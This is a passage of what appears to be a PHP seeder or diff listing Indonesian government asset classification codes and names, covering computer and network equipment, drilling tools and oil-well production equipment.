KOMPUTER)', + ], + [ + 'id_aset' => 2958, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'CONSOLE UNIT (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2959, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'CPU (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2960, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'DISK PACK (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2961, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'PLOTTER (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2962, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'SCANNER (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2963, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '011', + 'nama' => 'COMPUTER COMPATIBLE', + ], + [ + 'id_aset' => 2964, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '012', + 'nama' => 'VIEWER (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2965, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '013', + 'nama' => 'DIGITIZER (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2966, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '014', + 'nama' => 'KEYBOARD (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2967, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '015', + 'nama' => 'AUTO SWITCH/DATA SWITCH', + ], + [ + 'id_aset' => 2968, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '016', + 'nama' => 'CUT SHEET FEEDER', + ], + [ + 'id_aset' => 2969, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '017', + 'nama' => 'SPEAKER KOMPUTER', + ], + [ + 'id_aset' => 2970, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN MINI KOMPUTER LAINNYA', + ], + [ + 'id_aset' => 2971, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PERSONAL KOMPUTER', + ], + [ + 'id_aset' => 2972, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'CPU (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2973, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'MONITOR', + ], + [ + 'id_aset' => 2974, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'PRINTER (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2975, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SCANNER (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2976, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'PLOTTER (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2977, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'VIEWER (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2978, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'EXTERNAL', + ], + [ + 'id_aset' => 2979, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'DIGITIZER (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2980, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'KEYBOARD (PERALATAN PERSONAL KOMPUTER)', + ], + [ + 'id_aset' => 2981, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'CD WRITTER', + ], + [ + 'id_aset' => 2982, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'DVD WRITER', + ], + [ + 'id_aset' => 2983, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'FIREWIRE CARD', + ], + [ + 'id_aset' => 2984, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'CAPTURE CARD', + ], + [ + 'id_aset' => 2985, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'LAN CARD', + ], + [ + 'id_aset' => 2986, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'EXTERNAL CD/ DVD DRIVE (ROM)', + ], + [ + 'id_aset' => 2987, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'EXTERNAL FLOPPY DISK DRIVE', + ], + [ + 'id_aset' => 2988, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'EXTERNAL/ PORTABLE HARDISK', + ], + [ + 'id_aset' => 2989, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PERSONAL KOMPUTER LAINNYA', + ], + [ + 'id_aset' => 2990, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN JARINGAN', + ], + [ + 'id_aset' => 2991, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SERVER', + ], + [ + 'id_aset' => 2992, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'ROUTER', + ], + [ + 'id_aset' => 2993, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'HUB', + ], + [ + 'id_aset' => 2994, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'MODEM', + ], + [ + 'id_aset' => 2995, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'NETWARE INTERFACE EXTERNAL', + ], + [ + 'id_aset' => 2996, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'REPEATER AND TRANSCIEVER', + ], + [ + 'id_aset' => 2997, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'HEAD COPY TERMINAL', + ], + [ + 'id_aset' => 2998, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'RACK MODEM', + ], + [ + 'id_aset' => 2999, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'CARD PUNCH', + ], + [ + 'id_aset' => 3000, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'HEAD COPY PRINTER', + ], + [ + 'id_aset' => 3001, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'CHARACTER TERMINAL', + ], + [ + 'id_aset' => 3002, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'GRAPHIC TERMINAL', + ], + [ + 'id_aset' => 3003, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'TERMINAL', + ], + [ + 'id_aset' => 3004, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'RAK SERVER', + ], + [ + 'id_aset' => 3005, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '015', + 'nama' => 'FIREWALL', + ], + [ + 'id_aset' => 3006, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '016', + 'nama' => 'SWITCH RAK', + ], + [ + 'id_aset' => 3007, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '017', + 'nama' => 'WANSCALLER', + ], + [ + 'id_aset' => 3008, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '018', + 'nama' => 'E-MAIL SECURITY', + ], + [ + 'id_aset' => 3009, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '019', + 'nama' => 'CLIENT CLEARING HOUSE', + ], + [ + 'id_aset' => 3010, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '020', + 'nama' => 'CAT 6 CABLE', + ], + [ + 'id_aset' => 3011, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '021', + 'nama' => 'KABEL UTP', + ], + [ + 'id_aset' => 3012, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '022', + 'nama' => 'WIRELESS PCI CARD', + ], + [ + 'id_aset' => 3013, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '023', + 'nama' => 'WIRELESS ACCESS POINT', + ], + [ + 'id_aset' => 3014, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '024', + 'nama' => 'SWITCH', + ], + [ + 'id_aset' => 3015, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '025', + 'nama' => 'HUBBEL UTP', + ], + [ + 'id_aset' => 3016, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '026', + 'nama' => 'ACCES POINT', + ], + [ + 'id_aset' => 3017, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '027', + 'nama' => 'RACKMOUNT', + ], + [ + 'id_aset' => 3018, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '028', + 'nama' => 'KVM KEYBOARD VIDEO MONITOR', + ], + [ + 'id_aset' => 3019, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '029', + 'nama' => 'MOBILE MODEM GSM/ CDMA', + ], + [ + 'id_aset' => 3020, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '030', + 'nama' => 'NETWORK CABLE TESTER', + ], + [ + 'id_aset' => 3021, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '031', + 'nama' => 'JARINGAN SATPAS', + ], + [ + 'id_aset' => 3022, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN JARINGAN LAINNYA', + ], + [ + 'id_aset' => 3023, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMPUTER LAINNYA', + ], + [ + 'id_aset' => 3024, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN KOMPUTER LAINNYA', + ], + [ + 'id_aset' => 3025, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGEBORAN', + ], + [ + 'id_aset' => 3026, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGEBORAN MESIN', + ], + [ + 'id_aset' => 3027, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BOR MESIN TUMBUK', + ], + [ + 'id_aset' => 3028, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BOR MESIN TUMBUK PAKAI KABEL', + ], + [ + 'id_aset' => 3029, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'BOR MESIN TUMBUK PAKAI SETANG BOR', + ], + [ + 'id_aset' => 3030, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'BOR MESIN TUMBUK KOMBINASI 01 & 02', + ], + [ + 'id_aset' => 3031, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BOR MESIN TUMBUK LAINNYA', + ], + [ + 'id_aset' => 3032, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BOR MESIN PUTAR', + ], + [ + 'id_aset' => 3033, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'ROTARY TABLE (BOR MESIN PUTAR)', + ], + [ + 'id_aset' => 3034, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'SPINDLE', + ], + [ + 'id_aset' => 3035, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'KOMBINASI 01 & 02', + ], + [ + 'id_aset' => 3036, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'TOP DRIVE', + ], + [ + 'id_aset' => 3037, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'WIKIE DRILL', + ], + [ + 'id_aset' => 3038, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BOR MESIN PUTAR LAINNYA', + ], + [ + 'id_aset' => 3039, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGEBORAN MESIN LAINNYA', + ], + [ + 'id_aset' => 3040, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGEBORAN MESIN LAINNYA', + ], + [ + 'id_aset' => 3041, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGEBORAN NON MESIN', + ], + [ + 'id_aset' => 3042, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGKA', + ], + [ + 'id_aset' => 3043, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGKA', + ], + [ + 'id_aset' => 3044, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGKA LAINNYA', + ], + [ + 'id_aset' => 3045, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PANTEK', + ], + [ + 'id_aset' => 3046, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'PANTEK', + ], + [ + 'id_aset' => 3047, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'SONDIR', + ], + [ + 'id_aset' => 3048, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PANTEK LAINNYA', + ], + [ + 'id_aset' => 3049, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PUTAR', + ], + [ + 'id_aset' => 3050, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PUTAR', + ], + [ + 'id_aset' => 3051, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'BAND HIDROLIK', + ], + [ + 'id_aset' => 3052, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PUTAR LAINNYA', + ], + [ + 'id_aset' => 3053, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN BANTU', + ], + [ + 'id_aset' => 3054, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'DRAWWORK', + ], + [ + 'id_aset' => 3055, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'DRILL PIPE', + ], + [ + 'id_aset' => 3056, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'DRILL CILLAR', + ], + [ + 'id_aset' => 3057, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'KELLY', + ], + [ + 'id_aset' => 3058, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'CEMETING UNIT', + ], + [ + 'id_aset' => 3059, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'ROTARY TABLE (PERALATAN BANTU)', + ], + [ + 'id_aset' => 3060, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'TUBING SLIP', + ], + [ + 'id_aset' => 3061, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'TUBING SPINDER', + ], + [ + 'id_aset' => 3062, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'ALAT PANCING', + ], + [ + 'id_aset' => 3063, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'SWIVEL', + ], + [ + 'id_aset' => 3064, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'MUD TANK', + ], + [ + 'id_aset' => 3065, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN BANTU LAINNYA', + ], + [ + 'id_aset' => 3066, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGEBORAN NON MESIN LAINNYA', + ], + [ + 'id_aset' => 3067, + 'golongan' => '3', + 'bidang' => '08', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGEBORAN NON MESIN LAINNYA', + ], + [ + 'id_aset' => 3068, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"ALAT PRODUKSI', + ], + [ + 'id_aset' => 3069, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'SUMUR', + ], + [ + 'id_aset' => 3070, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN SUMUR MINYAK', + ], + [ + 'id_aset' => 3071, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PERAWAT SUMUR', + ], + [ + 'id_aset' => 3072, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'AMERADA TEST', + ], + [ + 'id_aset' => 3073, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'SONOLOG', + ], + [ + 'id_aset' => 3074, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'PERFORMING UNIT', + ], + [ + 'id_aset' => 3075, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'LOGGING UNIT', + ], + [ + 'id_aset' => 3076, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'SAND PUMP', + ], + [ + 'id_aset' => 3077, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN SUMUR MINYAK LAINNYA', + ], + [ + 'id_aset' => 3078, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'SUMUR PEMBORAN', + ], + [ + 'id_aset' => 3079, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SUMUR PEMBORAN PANAS BUMI', + ], + [ + 'id_aset' => 3080, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'SUMUR PEMBORAN GAS', + ], + [ + 'id_aset' => 3081, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'SUMUR PEMBORAN AIR', + ], + [ + 'id_aset' => 3082, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'SUMUR PEMBORAN LAINNYA', + ], + [ + 'id_aset' => 3083, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'SUMUR LAINNYA', + ], + [ + 'id_aset' => 3084, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'SUMUR LAINNYA', + ], + [ + 'id_aset' => 3085, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PRODUKSI', + ], + [ + 'id_aset' => 3086, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'R I G', + ], + [ + 'id_aset' => 3087, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'STANG BOR', + ], + [ + 'id_aset' => 3088, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'R I G LAINNYA', + ], + [ + 'id_aset' => 3089, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'PRODUKSI LAINNYA', + ], + [ + 'id_aset' => 3090, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PRODUKSI LAINNYA', + ], + [ + 'id_aset' => 3091, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PENGOLAHAN DAN PEMURNIAN', + ], + [ + 'id_aset' => 3092, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN MINYAK', + ], + [ + 'id_aset' => 3093, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPASITAS KECIL (ALAT PENGOLAHAN MINYAK)', + ], + [ + 'id_aset' => 3094, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 